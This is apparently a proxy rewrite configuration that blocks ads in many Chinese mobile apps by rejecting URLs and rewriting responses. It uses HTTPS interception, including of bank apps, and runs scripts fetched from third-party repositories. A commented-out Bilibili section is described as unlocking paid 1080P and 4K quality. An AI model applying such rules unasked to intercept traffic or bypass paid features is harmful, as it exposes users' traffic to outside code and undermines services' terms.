+^https?:\/\/www\.ahzs10000\.com\/palmhall\/client\/base\/newVerson_getStartUp\.action url reject-200 + +# > 安吉星 +# hostname = www.onstar.com.cn, api.shanghaionstar.com +# 开屏广告 +^https?:\/\/www\.onstar\.com\.cn\/mssos\/sos\/social\/v1\/community\/article\/page url reject-dict +^https?:\/\/api\.shanghaionstar\.com\/sos\/contentinfo\/v1\/public\/landingpage url reject-dict + +# > 澳觅 +# hostname = interface.aomiapp.com +^https?:\/\/interface\.aomiapp\.com\/aomi-ads url reject + + + +# >>>>>>>>>>>>>>> ✅ B ✅ <<<<<<<<<<<<<< +# > Blued +# hostname = social.blued.cn +# 主页推荐直播 +^https?:\/\/social\.blued\.cn\/users\/recommend url reject-dict +# 未登录时个人界面广告 +^https?:\/\/social\.blued\.cn\/users\/no_auth\/benefit url reject-dict +# 登录后个人界面广告 +^https?:\/\/social\.blued\.cn\/users\/.+\/more\/ios\?v=2 url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/blued.js + +# > 半月谈 +# hostname = www.banyuetanapp.com +# 开屏广告 +^https?:\/\/www\.banyuetanapp\.com\/byt-api\/ad\/getAdvertList\?adSpaceId=100000002 url reject-200 + +# > 宝宝树孕育 +# hostname = aimg.babytreeimg.com, plough.babytree.com, mapiweb.babytree.com, go.babytree.com +^https?:\/\/aimg\.babytreeimg\.com\/group1\/M00\/*\/*\/.*.jpg url reject-200 +# 开屏广告 感谢【alist.choc.ga】分享 +^https?:\/\/plough\.babytree\.com\/plough\.do url reject-200 +# 弹窗广告 感谢【Ron】分享 +^https?:\/\/mapiweb\.babytree\.com\/newapi\/luban\/behavior\/receive url reject-200 +^https?:\/\/go\.babytree\.com\/go_pregnancy\/api\/index_activity\/get_app_index_activity url reject-200 +^https?:\/\/go\.babytree\.com\/go_tool\/api\/feeding_record\/get_home_banner_info url reject-dict + +# > 北京银行 +# hostname = cdnmobibank.bankofbeijing.com.cn +^https?:\/\/cdnmobibank\.bankofbeijing\.com\.cn\/cdn\/MarketingCloud\/.+\/.+\/99_1\/.+\.jpg url reject-200 +# > 掌上京彩 +# hostname = cdn-xyk-app.bankofbeijing.com.cn +^https?:\/\/cdn-xyk-app\.bankofbeijing\.com\.cn\/cdn\/resource\/image\/advertise url reject-200 + +# > 百度地图 +# hostname = dss0.bdstatic.com, tb1.bdstatic.com, tb2.bdstatic.com, ss0.bdstatic.com, gss0.bdstatic.com, newclient.map.baidu.com +^https?:\/\/dss0\.bdstatic\.com\/-0U0bnSm1A5BphGlnYG\/ url reject-200 +^https?:\/\/dss0\.bdstatic\.com\/.+/tam-ogel\/.+\.(jpg|mp4) url reject +^https?:\/\/tb1\.bdstatic\.com\/tb\/cms\/ngmis\/adsense\/*.jpg url reject +^https?:\/\/tb2\.bdstatic\.com\/tb\/mobile\/spb\/widget\/jump url reject-img +^https?:\/\/ss0\.bdstatic\.com/.+?_\d{3}_\d{4}\.jpg url reject-200 +^https?:\/\/gss0\.bdstatic\.com\/.+?\/static\/wiseindex\/img\/bd_red_packet\.png url reject-img +^https?:\/\/newclient\.map\.baidu\.com\/client\/phpui2\/\?qt=ads url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/baidumap.js + +# > 百度输入法 +# hostname = r6.mo.baidu.com, res.mi.baidu.com, mime.baidu.com, mbd.baidu.com +^https?:\/\/r6\.mo\.baidu\.com\/res\/file/advertisement\/files\/.+\.jpg url reject +^https?:\/\/res\.mi\.baidu\.com\/imeres\/ime-res\/advertisement\/files\/.+\.jpg url reject +^https?:\/\/mime\.baidu\.com\/v5\/activity\/advertisementnonrealtime url reject +^https?:\/\/mime\.baidu\.com\/v5\/start_screen_ads\/list url reject +^https?:\/\/mime\.baidu\.com\/v5\/hotpatch\/check\?hotpatch url reject +# 净化 个人页随机图片 +#^https?:\/\/mime\.baidu\.com\/(imrobot\/v1\/pub\/relation\/get_robot_list|v5\/custom_page\/(layout|getdata)) url script-response-body https://raw.githubusercontent.com/Keywos/rule/main/JS/bdsrf.js +# 百度输入法开屏 +^https?:\/\/mime\.baidu\.com\/v5\/start_screen_ads/list url reject-dict +# 应用内灵感语录 输入页面推荐里语录 +^https?:\/\/mime\.baidu\.com\/sapi\/v1\/lccorpus\/(applist|pannellist) url reject-dict +# 输入法点击图标 +^https?:\/\/mime\.baidu\.com\/sapi\/v1\/circle\/joinedlist url reject-dict +^https?:\/\/mime\.baidu\.com\/commer\/pocket_api\/enterprise_list url reject-dict +^https?:\/\/mbd\.baidu\.com\/ccs\/v1\/start\/confsync\?appname=baidu_input url reject-dict + +# > 百度网盘 +# hostname = pan.baidu.com, ndstatic.cdn.bcebos.com, staticsns.cdn.bcebos.com, issuecdn.baidupcs.com, update.pan.baidu.com, fc-video.cdn.bcebos.com, rp.hpplay.cn +^https?:\/\/pan\.baidu\.com\/rest\/\d\.\d\/pcs\/adx url reject +^https?:\/\/pan\.baidu\.com\/rest\/2\.0\/pcs\/ad url reject +^https?:\/\/pan\.baidu\.com\/act\/v\d\/(bchannel|welfare)\/list url reject +^https?:\/\/pan\.baidu\.com\/act\/api\/activityentry url reject +^https?:\/\/pan\.baidu\.com\/pmall\/order\/privilege\/info url reject +^https?:\/\/pan\.baidu\.com\/rest\/.+\/pcs\/adx url reject +^https?:\/\/pan\.baidu\.com\/api\/useractivity\/activity url reject +^https?:\/\/pan\.baidu\.com\/act\/.+\/bchannel\/list url reject +^https?:\/\/pan\.baidu\.com\/api\/certuser\/get url reject +^https?:\/\/pan\.baidu\.com\/component\/view\/(1510|1130)\?vip url reject +^https?:\/\/ndstatic\.cdn\.bcebos\.com\/activity\/welfare\/js\/.+\.js url reject +^https?:\/\/ndstatic\.cdn\.bcebos\.com\/activity\/welfare\/index\.html url reject +^https?:\/\/staticsns\.cdn\.bcebos\.com\/amis\/.+/banner.png url reject +^https?:\/\/issuecdn\.baidupcs\.com\/issue\/netdisk\/guanggao url reject +^https?:\/\/update\.pan\.baidu\.com\/statistics url reject +^https?:\/\/fc-video\.cdn\.bcebos\.com url reject +^https?:\/\/rp\.hpplay\.cn\/logouts url reject + +# > 百度贴吧 +# hostname = tiebac.baidu.com, *.tieba.baidu.com +^http(s:\/\/tiebac|:\/\/c\.tieba)\.baidu\.com\/(c\/f\/(frs\/(page|threadlist|generalTabList)|pb\/page|excellent\/personalized)$|tiebaads\/commonbatch|c\/s\/sync$) url script-response-body https://raw.githubusercontent.com/app2smile/rules/master/js/tieba-json.js +^http(s:\/\/tiebac|:\/\/c\.tieba)\.baidu\.com\/c\/f\/(frs\/(page|threadlist|generalTabList)|pb\/page|excellent\/personalized)\?cmd url script-response-body https://raw.githubusercontent.com/app2smile/rules/master/js/tieba-proto.js + +# > 百度翻译 +# hostname = mime.baidu.com +^https?:\/\/mime\.baidu\.com\/v\d\/IosStart\/getStartInfo url reject +^https?:\/\/mime\.baidu\.com\/v\d\/activity\/advertisement url reject + +# > 百度文库 +# hostname = appwk.baidu.com +^https?:\/\/appwk\.baidu\.com\/xpage\/interface\/wknaad url reject-200 + +# > 百度 +# hostname = www.baidu.com, fcvbjbcebos.baidu.com, cover.baidu.com, baichuan.baidu.com, api*.tuisong.baidu.com, afd.baidu.com, mobads.baidu.com, issuecdn.baidupcs.com, update.pan.baidu.com, sa*.tuisong.baidu.com, m.baidu.com, sofire.baidu.com +^https?:\/\/fcvbjbcebos\.baidu\.com\/.+.mp4 url reject +^https?:\/\/fcvbjbcebos\.baidu\.com\/.+?\.mp4 url reject-img +^https?:\/\/cover\.baidu\.com\/cover\/page\/dspSwitchAds\/ url reject +^https?:\/\/baichuan\.baidu\.com\/rs\/adpmobile\/launch url reject +^https?:\/\/baichuan\.baidu\.com\/rs\/adpmobile\/launch url reject-img +^https?:\/\/api\d\.tuisong\.baidu\.com url reject-img +^https?:\/\/afd\.baidu\.com\/afd\/entry url reject +^https?:\/\/afd\.baidu\.com\/afd\/entry url reject-img +^https?:\/\/als\.baidu\.com\/clog\/clog url reject +^https?:\/\/mobads\.baidu\.com\/cpro\/ui\/mads.+ url reject +^https?:\/\/issuecdn\.baidupcs\.com\/issue\/netdisk\/guanggao\/ url reject-200 +^https?:\/\/[\s\S]*\.baidu\.com/.*?ad[xs]\.php url reject-img +^https?:\/\/t\d{2}\.baidu\.com url reject-img +^https?:\/\/update\.pan\.baidu\.com\/statistics url reject +^https?:\/\/log.+?baidu\.com url reject +^https?:\/\/sa\d\.tuisong\.baidu\.com url reject-img +^https?:\/\/www.baidu.com\/?action=static&ms=1&version=css_page_2@0.*? url reject + +# > 百信银行 +# hostname = mres.aibank.com +^https?:\/\/mres\.aibank\.com\/app\/resource\/cim\/cim0000001\/.+\.jpg url reject-200 + +# > 哔哩哔哩 +# hostname = app.bilibili.com, api.bilibili.com, api.live.bilibili.com, grpc.biliapi.net +# Proto 动态广告,后台播放限制,播放页广告 //app.bilibili.com +# ^https?:\/\/(app\.bilibili\.com|grpc\.biliapi\.net)\/bilibili\.app\.dynamic\.v2\.Dynamic\/DynAll url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/bilibili/protoA.js +# ^https?:\/\/(app\.bilibili\.com|grpc\.biliapi\.net)\/bilibili\.app\.interface\.v1\.Teenagers\/ModeStatus url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/bilibili/protoA.js +# ^https?:\/\/(app\.bilibili\.com|grpc\.biliapi\.net)\/bilibili\.app\.(view|viewunite)\.v1\.View\/(View|ViewProgress) url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/bilibili/protoA.js +# ^https?:\/\/(app\.bilibili\.com|grpc\.biliapi\.net)\/bilibili\.community\.service\.dm\.v1\.DM\/DmView url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/bilibili/protoA.js +# ^https?:\/\/(app\.bilibili\.com|grpc\.biliapi\.net)\/bilibili\.main\.community\.reply\.v1\.Reply\/MainList url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/bilibili/protoA.js +# ^https?:\/\/(app\.bilibili\.com|grpc\.biliapi\.net)\/bilibili\.polymer\.app\.search\.v1\.Search\/SearchAll url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/bilibili/protoA.js +# 观影页,直播间商品广告浮窗,搜索框填充词,首页信息流,热搜发现,右上角活动,标签页 +# ^https?:\/\/api\.bilibili\.com\/pgc\/page\/(bangumi|cinema\/tab\?) url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/bilibili/json.js +# ^https?:\/\/api\.live\.bilibili\.com\/xlive\/app-room\/v1\/index\/getInfoByRoom\? url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/bilibili/json.js +# ^https?:\/\/api\.live\.bilibili\.com\/xlive\/e-commerce-interface\/v1\/ecommerce-user\/get_shopping_info\? url reject-dict +# ^https?:\/\/(app\.bilibili\.com|grpc\.biliapi\.net)\/bilibili\.app\.interface\.v1\.Search\/DefaultWords url reject-dict +# ^https?:\/\/app\.bilibili\.com\/x\/v2\/(feed\/index(\/story)?|search\/square)\? url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/bilibili/json.js +# ^https?:\/\/app\.bilibili\.com\/x\/resource\/(top\/activity|show\/tab\/v2)\? url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/bilibili/json.js +# 满意度调研 +# ^https?:\/\/api\.bilibili\.com\/x\/v2\/dm\/qoe\/show\? url reject-dict +# 开屏广告 //app.bilibili.com +# ^https?:\/\/[\d\.]+:8000\/v1\/resource\/\w{32}-1-SPLASH url reject-dict +# ^https?:\/\/upos-sz-static\.bilivideo\.com\/ssaxcode\/\w{2}\/\w{2}\/\w{32}-1-SPLASH url reject-dict +# ^https?:\/\/api\.bilibili\.com\/x\/mengqi\/v1\/resource\? url reject-dict +# ^https?:\/\/app\.bilibili\.com\/x\/v2\/splash\/(brand\/list|event\/list2|list|show)\? url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/bilibili/json.js +# 我的页面 解锁1080P高码率,4K画质,皮肤推送 //app.bilibili.com +# ^https?:\/\/app\.bilibili\.com\/x\/v2\/account\/(mine(\/ipad)?|myinfo)\? url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/bilibili/json.js +# ^https?:\/\/app\.bilibili\.com\/x\/resource\/show\/skin\? url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/bilibili/json.js +# IP请求,地理位置请求 //api.bilibili.com +# ^https?:\/\/api\.bilibili\.com\/x\/web-interface\/zone\?jsonp url reject-dict +# ^https?:\/\/app\.bilibili\.com\/x\/resource\/ip url reject-dict + +# > 哔哩哔哩漫画 +# hostname = manga.bilibili.com, i*.hdslb.com +^https?:\/\/i\d\.hdslb\.com\/bfs\/fawkes url reject-dict +^https?:\/\/i\d\.hdslb\.com\/bfs\/manga-static\/\w+\.(jpg|png)$ url reject-200 +^https?:\/\/manga\.bilibili\.com\/twirp\/comic\.v\d\.Comic\/(Recommend|Flash|ListFlash|GetBubbles|GetActivityTab|GetCommonBanner|GetComicConfigPicList) url reject-200 +^https?:\/\/manga\.bilibili\.com\/twirp\/comic\.v\d\.Shop\/GetShopItems url reject-dict +^https?:\/\/manga\.bilibili\.com\/twirp\/user\.v\d\.SeasonV\d\/GetSeasonInfo url reject-dict +^https?:\/\/manga\.bilibili\.com\/twirp\/user\.v\d\.Read\/ActInfo url reject-200 +^https?:\/\/manga\.bilibili\.com\/twirp\/user\.v\d\.User\/UCenterConf url script-response-body https://raw.githubusercontent.com/zirawell/R-Store/main/Res/Scripts/AntiAd/bilibiliManga.js +^https?:\/\/manga\.bilibili\.com\/twirp\/user\.v\d\.User\/GetInitInfo url script-response-body https://raw.githubusercontent.com/zirawell/R-Store/main/Res/Scripts/AntiAd/bilibiliManga.js + +# > 北京首汽 +# hostname = gateway.shouqiev.com +^https?:\/\/gateway\.shouqiev\.com\/fsda\/app\/bootImage\.json url reject + +# > 贝壳找房 +# hostname = apps.api.ke.com +^https?:\/\/apps\.api\.ke\.com\/config\/config\/(bootpage|getactivityconfig) url reject + +# > 贝太厨房 +# hostname = channel.beitaichufang.com +^https?:\/\/channel\.beitaichufang\.com\/channel\/api\/v\d\/promote\/ios\/start\/page url reject + +# > 菠萝包轻小说 +# hostname = api.sfacg.com +^https?:\/\/api\.sfacg\.com\/ioscfg url reject + +# > 比特球云盘 +# hostname = pan-api.bitqiu.com +^https?:\/\/pan-api\.bitqiu\.com\/activity\/getPromoteGuide url reject + +# > 比亚迪王朝APP +# hostname = cache.bydauto.com.cn +# 首页开屏 +^https:\/\/cache\.bydauto\.com\.cn\/dilink_user_upload\/20 url reject-200 + +# > 币世界 +# hostname = iapi.bishijie.com +^https?:\/\/iapi\.bishijie\.com\/actopen\/advertising\/ url reject + +# > 币安 +# hostname = www.binance.info, www.yingwangtech.net, www.binance.com +# 开屏广告 +^https?:\/\/www\.(binance|yingwangtech)\.(com|info|net)\/bapi\/composite\/v1\/public\/market\/holiday-atmosphere url reject-dict + +# > 乐刻 +# hostname = lens.leoao.com +# 开屏广告 +^https?:\/\/lens\.leoao\.com\/lens\/conduct\/app\/rpc\/v2\/com\.lefit\.dubbo\.cms\.api\.front\.AppAdvertisingFrontService\/getAppAdvertisingNew url reject-dict +^https?:\/\/lens\.leoao\.com\/lens\/conduct\/app\/rpc\/v2\/com\.lefit\.dubbo\.cms\.api\.bff\.ClientFrontFacade\/queryHomeMiddleInfo url reject-dict +^https?:\/\/lens\.leoao\.com\/lens\/conduct\/app\/rpc\/v2\/com\.lefit\.dubbo\.cms\.api\.front\.AdvertiseConfigFrontService\/getAdvertiseConfigNew url reject-dict + +# > 必胜客 +# hostname = res.pizzahut.com.cn +^https?:\/\/res\.pizzahut\.com\.cn\/CRM\/phad\/member\/app\/member url reject-200 +^https?:\/\/res\.pizzahut\.com\.cn\/CRM\/phad\/apphome\/apphome url reject + +# > 百视TV +# hostname = bp-api.bestv.com.cn, bp-image.bestv.com.cn +# 开屏广告 【Runestoner】分享 +^https?:\/\/bp-api\.bestv\.com\.cn\/cms\/api\/free\/open\/advertisingV2 url reject +#(倒计时还在) +^https?:\/\/bp-image\.bestv\.com\.cn\/[a-zA-Z0-9]{8}-[a-zA-Z0-9]{4}-[a-zA-Z0-9]{4}-[a-zA-Z0-9]{4}-[a-zA-Z0-9]{25}\.jpg url reject-200 + +# > 波点音乐 +# hostname = bd-api.kuwo.cn, h5app.kuwo.cn, bodianimgcdn.kuwo.cn +# 开屏广告 感谢【林夕】分享 +^https?:\/\/bd-api\.kuwo\.cn\/api\/service\/finds\/module\?moduleId url reject-dict +^https?:\/\/bd-api\.kuwo\.cn\/api\/service\/banner\/myPage\?uid url reject-dict +^https?:\/\/bd-api\.kuwo\.cn\/api\/play\/listening\/entrance\/music\?musicId url reject-dict +^https?:\/\/h5app\.kuwo\.cn\/m\/kwtemplatePage\/index\.html\?id=1157&app=bodianhdzx url reject-dict +^https?:\/\/h5app\.kuwo\.cn\/m\/bdvipact2205\/index\.html\?fromsrc=huodong url reject-dict +^https?:\/\/bodianimgcdn\.kuwo\.cn\/images\/0e83c1821cd2681de08e20bec73d1e75 url reject-dict +^https?:\/\/bodianimgcdn\.kuwo\.cn\/images\/198c0b313fe9e53b03240c7b30b4acc9 url reject-dict + +# > 薄荷健康 +# hostname = api.boohee.com, bohe.sfo-tx-shanghai-01.saas.sensorsdata.cn, lego.boohee.com, status.boohee.com +# 感谢【可莉】分享 +# 记录 - 大家都在看data.recom_cards / 底部按钮data.recom_btns +^https:\/\/api\.boohee\.com\/meta-interface\/v2\/index\? url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/bohe/bohe_ads.js +# 记录 - 悬浮部件 +^https:\/\/api\.boohee\.com\/meta-interface\/v1\/index\/page_float_bubbles\? url reject-dict +# 记录 - 发布 +^https:\/\/api\.boohee\.com\/meta-interface\/v1\/index\/tool_buttons\? url reject-dict +# 记录 - 搜索发现 +^https:\/\/api\.boohee\.com\/app-interface\/v1\/search\/search\? url reject-dict +# 记录 - 消息 - 通知 - 横幅推广 +^https:\/\/status\.boohee\.com\/api\/v1\/merged_messages$ url reject-dict +# 弹窗配置 +^https:\/\/bohe\.sfo-tx-shanghai-01\.saas\.sensorsdata\.cn\/api\/v2\/sfo\/user_popup_configs\? url reject-dict +# 广场 - 推荐 - 红标data.tabs[1].badge /轮播图data.recommend_ads +^https:\/\/api\.boohee\.com\/meta-interface\/v1\/index\/plaza\? url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/bohe/bohe_ads.js +# 代谢中心 - 顶部轮播图top_banner / 免费问诊推广diagnos_config / 合作医疗机构partner_hospital / 医患问答question_answer / 热门商品product / 品牌大事件brand_story +^https:\/\/api\.boohee\.com\/open-interface\/v1\/string\/market_page\?title=metabolism_config$ url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/bohe/bohe_ads.js +# 绑定设备 - 横幅推广 +^https:\/\/api\.boohee\.com\/meta-interface\/v1\/index\/sensor-banners\? url reject-dict + + + +# >>>>>>>>>>>>>>> ✅ C ✅ <<<<<<<<<<<<<< +# > clicli +# hostname = js-ad.ayximgs.com +^https?:\/\/js-ad\.ayximgs\.com\.ad-universe-cdn\.hzhcbkj\.cn\/xgapp\.php\/v2\/top_notice url reject + +# > csdn +# hostname = app-gw.csdn.net, gw.csdn.net +# 感谢【Jörgen Frecht】分享 +^https?:\/\/app-gw\.csdn\.net\/silkroad-api\/api\/v\d\/assemble\/list\/pub\/channel\/app_open_screen_ad url reject +^https?:\/\/app-gw\.csdn\.net\/abtesting\/v2\/getList? url reject +^https?:\/\/gw\.csdn\.net\/cms-app\/v\d+\/home_page\/open_advertisement url reject + +# > crunchyroll +# hostname = beta-api.crunchyroll.com +^https?:\/\/beta-api\.crunchyroll\.com\/cms url response-body offset_ms":\d+ response-body offset_ms":99999999999999 + +# > 彩云天气 +# hostname = wrapper.cyapi.cn, api.caiyunapp.com +^https?:\/\/wrapper\.cyapi\.cn\/v1\/activity\? url echo-response application/json echo-response https://raw.githubusercontent.com/Keywos/rule/main/mocks/caiyun.json +^https?:\/\/api\.caiyunapp\.com\/v1\/activity url reject-dict + +# > 菜鸟裹裹 +# hostname = cn-acs.m.cainiao.com, amdc.m.taobao.com +# 其他 +^https?:\/\/amdc\.m\.taobao\.com\/amdc\/mobileDispatch$ url script-response-header https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/header.js +# 首页 好物推荐,商品推广,底部标签页,快递详情页,问卷调查,主页图标 +^https?:\/\/cn-acs\.m\.cainiao\.com\/gw\/mtop\.cainiao\.adkeyword\.get\.cn url reject-dict +^https?:\/\/cn-acs\.m\.cainiao\.com\/gw\/mtop\.cainiao\.cncommunity\.my\.station\.query\.cn url reject-dict +^https?:\/\/cn-acs\.m\.cainiao\.com\/gw\/mtop\.cainiao\.guoguo\.nbnetflow\.ads\.(batch\.show\.v2|index)\.cn url reject-dict +^https?:\/\/cn-acs\.m\.cainiao\.com\/gw\/mtop\.cainiao\.guoguo\.nbnetflow\.ads\.m?show\.cn url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/cainiao/cainiao.js +^https?:\/\/cn-acs\.m\.cainiao\.com\/gw\/mtop\.cainiao\.nbopen\.miniapp\.recommend\.cpc\.cn url reject-dict +^https?:\/\/cn-acs\.m\.cainiao\.com\/gw\/mtop\.cainiao\.nbmensa\.research\.researchservice\.(acquire|event|close)\.cn url reject-dict +^https?:\/\/cn-acs\.m\.cainiao\.com\/gw\/mtop\.cainiao\.nbpresentation\.(homepage\.merge|tabbar\.marketing)\.get\.cn url reject-dict +^https?:\/\/cn-acs\.m\.cainiao\.com\/gw\/mtop\.cainiao\.nbpresentation\.(pickup\.empty\.page|protocol\.homepage)\.get\.cn url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/cainiao/cainiao.js +# 消息中心 +^https?:\/\/cn-acs\.m\.cainiao\.com\/gw\/mtop\.nbfriend\.message\.conversation\.list\.cn url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/cainiao/cainiao.js +# 发现页 数字角标 裹裹券 +^https?:\/\/cn-acs\.m\.cainiao\.com\/gw\/mtop\.com\.cainiao\.cnactivitycenter url reject-dict +^https?:\/\/cn-acs\.m\.cainiao\.com\/gw\/mtop\.com\.cainiao\.cncreditmarket\.hit\.getactivityhit\.cn url reject-dict +^https?:\/\/cn-acs\.m\.cainiao\.com\/gw\/mtop\.com\.cainiao\.longquan\.place\.getpageresourcecontent\.cn url reject-dict + +# > 超星学习通 +# hostname = learn.chaoxing.com +^https?:\/\/learn\.chaoxing\.com\/apis\/service\/appConfig\? url reject + +# > 长城炼金术 +# hostname = fintechappdr.cgws.com +# 感谢【Joe Joy】分享 +^https?:\/\/fintechappdr\.cgws\.com\/api\/business-operation\/app\/a\/flash\/window\/get\?type=2 url reject-dict + +# > 曹操专车 +# hostname = ptmpcap.caocaokeji.cn, cap.caocaokeji.cn +^https?:\/\/ptmpcap\.caocaokeji\.cn\/advert-bss\/ url reject-img +^https?:\/\/cap\.caocaokeji\.cn\/advert-bss\/ url reject + +# > 车来了 +# hostname = pic1.chelaile.net.cn, api.chelaile.net.cn, atrace.chelaile.net.cn, web.chelaile.net.cn, cdn.*.chelaileapp.cn +^https?:\/\/pic1\.chelaile\.net\.cn\/adv\/ url reject +^https?:\/\/(api|atrace)\.chelaile\.net\.cn\/adpub\/ url reject +^https?:\/\/api\.chelaile\.net\.cn\/goocity\/advert\/ url reject +^https?:\/\/atrace\.chelaile\.net\.cn\/adpub\/ url reject-img +^https?:\/\/atrace\.chelaile\.net\.cn\/exhibit\?&adv_image url reject-img +^https?:\/\/web\.chelaile\.net\.cn\/api\/adpub\/ad url reject +^https?:\/\/cdn\.\w{3}\.chelaileapp\.cn\/(api\/)?adpub url reject + +# > 超级课程表 +# hostname = 182.92.244.70, ad.myfriday.cn +# 开屏广告 由【jinlvei】分享 +^https?:\/\/182\.92\.244\.70\/d\/json url reject-dict +http:\/\/ad\.myfriday\.cn\/d\/json\/1\.1 url reject + +# > 潮玩宇宙 +# hostname = ios-api.lucklyworld.com +# 开屏广告 +^https?:\/\/ios-api\.lucklyworld\.com\/v6\/api\/config\/startup url reject-dict + +# > 财新 +# hostname = gg.caixin.com +^https?:\/\/gg\.caixin\.com\/s\?z=caixin&op=1&c=3362 url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/caixin/caixinAd.js + +# > 财联社 +# hostname = api3.cls.cn +^https?:\/\/api3\.cls\.cn\/v1\/boot\/ad url reject + +# > 财经杂志 +# hostname = api.caijingmobile.com +^https?:\/\/api\.caijingmobile\.com\/(ad|advert)\/ url reject + +# > 刺猬猫阅读 +# hostname = app.hbooker.com +^https?:\/\/app\.hbooker\.com\/setting\/get_startpage_url_list url reject + +# > 创客贴设计 +# hostname = gw.chuangkit.com +^https:\/\/gw\.chuangkit\.com\/team\/app\/common\/ad\/ url reject-dict + +# > Clubmed微信小程序 +# hostname = clubmed.bd.clubmedmnp.com +^https?:\/\/clubmed\.bd\.clubmedmnp\.com\/miniorder\/api\/basic\/common url reject-dict + + +# >>>>>>>>>>>>>>> ✅ D ✅ <<<<<<<<<<<<<< +# > DJI Store (大疆商城) +# hostname = se-api.djiits.com +# 去开屏广告 +^https:\/\/se-api\.djiits\.com\/api\/components\/launch_ad\.json\?abbrv_url=1&country=cn&language=zh-CN url reject-dict + +# > 大麦 +# hostname = acs.m.taobao.com, amdc.m.taobao.com +^https?:\/\/acs\.m\.taobao\.com\/gw\/mtop\.damai\.wireless\.home\.welcome url reject-200 +^https?:\/\/amdc\.m\.taobao\.com\/amdc\/mobileDispatch\?appkey=23782110 url reject + +# > 大师兄 +# hostname = sdk.alibaba.com.ailbaba.me, adservice.sigmob.cn +^https?:\/\/sdk\.alibaba\.com\.ailbaba\.me\/xgapp\.php\/v\d\/version url reject-200 +^https?:\/\/sdk\.alibaba\.com\.ailbaba\.me\/xgapp\.php\/v\d\/advert\?position=[^2]+ url reject-200 +^https?:\/\/sdk\.alibaba\.com\.ailbaba\.me\/xgapp\.php\/v\d\/top_notice\? url reject-200 +^https?:\/\/sdk\.alibaba\.com\.ailbaba\.me\/(dsx|xgapp)\.php\/v\d\/(top_notice\?|version|advert\?position=[^2]+) url reject-200 +^https?:\/\/adservice\.sigmob\.cn\/extconfig url response-body false response-body true + +# > 大智慧 +# hostname = ssp.dzh.com.cn +^https?://ssp\.dzh\.com\.cn/v2api/adgroupjson url reject + +# > 大众点评 +# hostname = img.meituan.net +# 开屏广告 +^https?:\/\/img\.meituan\.net\/dpmobile\/ url script-response-body https://raw.githubusercontent.com/zirawell/R-Store/main/Res/Scripts/AntiAd/dianping.js +#^https?:\/\/img\.meituan\.net\/dpmobile\/.+93241\.png url reject-dict +#^https?:\/\/img\.meituan\.net\/dpmobile\/.*.(gif|jpg) url reject-200 + +# > 达达骑士版 +# hostname = delivery-api.imdada.cn +# 开屏广告,弹窗广告,首页置顶轮播广告 感谢【T大G】分享 +^https?:\/\/delivery-api\.imdada\.cn\/v2_0\/dada\/promote\/imax\?privacyParam url reject-dict +^https?:\/\/delivery-api\.imdada\.cn\/v1_0\/transporter\/screen\/ads_list url reject-dict +^https?:\/\/delivery-api\.imdada\.cn\/v1_0\/transporter\/ad url reject-dict + +# > 动卡空间 +# hostname = ump.sz.creditcard.ecitic.com, m.creditcard.ecitic.com +# 开屏广告 +^https?:\/\/ump\.sz\.creditcard\.ecitic\.com\/citiccard\/cm-ump\/ump-gateway\/ump-net-app\/ump-net-app\/adv url reject-dict +^https?:\/\/m\.creditcard\.ecitic\.com\/citiccard\/mbk\/appspace-getway\/getWay\/dkkj-system-web\/system\/v\d\/init-config url reject-200 + +# > 到梦空间 +# hostname = appdmkj.5idream.net +# 开屏广告 感谢【企鹅】分享 +^https?:\/\/appdmkj\.5idream\.net\/appPic\/homepage url reject-dict +# 更新弹窗 感谢【企鹅】分享 +^https?:\/\/appdmkj\.5idream\.net\/v2\/login\/message\/tip url reject-dict +# 我的页面广告 +^https?:\/\/appdmkj\.5idream\.net\/v3\/user\/advertising\/list url reject-dict + +# > 低端影视 +# hostname = img.ddrk.me, ddrk.me +^https?:\/\/img\.ddrk\.me\/ad190824 url reject-img +^https?:\/\/img\.ddrk\.me\/cover\.png url reject-img +^https?:\/\/ddrk\.me\/image\/logo_footer\.png url reject-img +^https?:\/\/ddrk\.me\/wp-content\/plugins\/advanced-floating-content-lite\/public\/images\/close\.png url reject-img + +# > 豆瓣 +# hostname = api.douban.com +# 如开启可自行添加主机名 img*.doubanio.com, frodo.douban.com, erebor.douban.com +^https?:\/\/img\d\.doubanio\.com\/view\/dale-online\/dale_ad\/ url reject +^https?:\/\/api\.douban\.com\/v\d\/app_ads\/ url reject-dict +^https?:\/\/api\.douban\.com\/b.*\/common_ads\?.* url reject-dict +^https?:\/\/frodo\.douban\.com\/api\/v2\/movie\/banner url reject +^https?:\/\/erebor\.douban\.com\/count\/\?ad= url reject + +# > 斗鱼直播 +# hostname = daoyu.sdo.com, rtbapi.douyucdn.cn, staticlive.douyucdn.cn, capi.douyucdn.cn, douyucdn.cn +^https?:\/\/daoyu\.sdo\.com\/api\/userCommon\/getAppStartAd url reject +^https?:\/\/rtbapi\.douyucdn\.cn\/japi\/sign\/app\/getinfo url reject-dict +^https?:\/\/staticlive\.douyucdn\.cn\/upload\/signs\/ url reject +^https?:\/\/staticlive\.douyucdn\.cn\/.+\/getStartSend 